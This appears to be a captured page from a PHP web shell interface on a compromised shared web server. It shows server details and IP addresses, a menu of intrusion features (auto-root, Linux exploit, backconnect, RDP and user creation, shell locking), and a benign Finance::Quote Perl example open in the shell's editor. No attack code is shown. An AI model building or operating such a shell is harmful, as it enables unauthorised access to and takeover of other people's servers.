Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.171
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libfinance-quote-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
Quote_example.pl
2.49
KB
-rwxr-xr-x
chkshares.pl
1.31
KB
-rwxr-xr-x
currency-lookup.pl
499
B
-rwxr-xr-x
stockdump.pl
500
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : chkshares.pl
#!/usr/bin/perl -w use strict; use lib '../lib'; use Finance::Quote qw/asx/; =head1 NAME chkshares.pl - Check share information. =head1 USAGE chkshares.pl australia TLS CML ITE =head1 NOTES Example program. Demonstrates how to use one of the interface to Finance::Quote. The first argument must be the market. =cut my ($name, $date, $last, $p_change, $high, $low, $volume, $close); format STDOUT_TOP = STOCK REPORT TICKER DATE LAST %CHANGE HIGH LOW VOLUME CLOSE ---------------------------------------------------------------------------------- . format STDOUT = @<<<<<< @>>>>>>>>>> @####.### @###.### @####.### @####.### @>>>>>>>> @####.### $name, $date, $last, $p_change, $high, $low, $volume, $close . my $quoter = Finance::Quote->new(); my $market = shift || die "Usage: $0 market stocks\n"; my %quote = $quoter->fetch($market,@ARGV); foreach my $code (@ARGV) { unless ($quote{$code,"success"}) { warn "Lookup of $code failed - ".$quote{$code,"errormsg"}."\n"; next; } $name = $code; $date = $quote{$code,'date'}; $last = $quote{$code,'last'}; $p_change = $quote{$code,'p_change'}; $high = $quote{$code,'high'}; $low = $quote{$code,'low'}; $volume = $quote{$code,'volume'}; $close = $quote{$code,'close'}; write; }
Close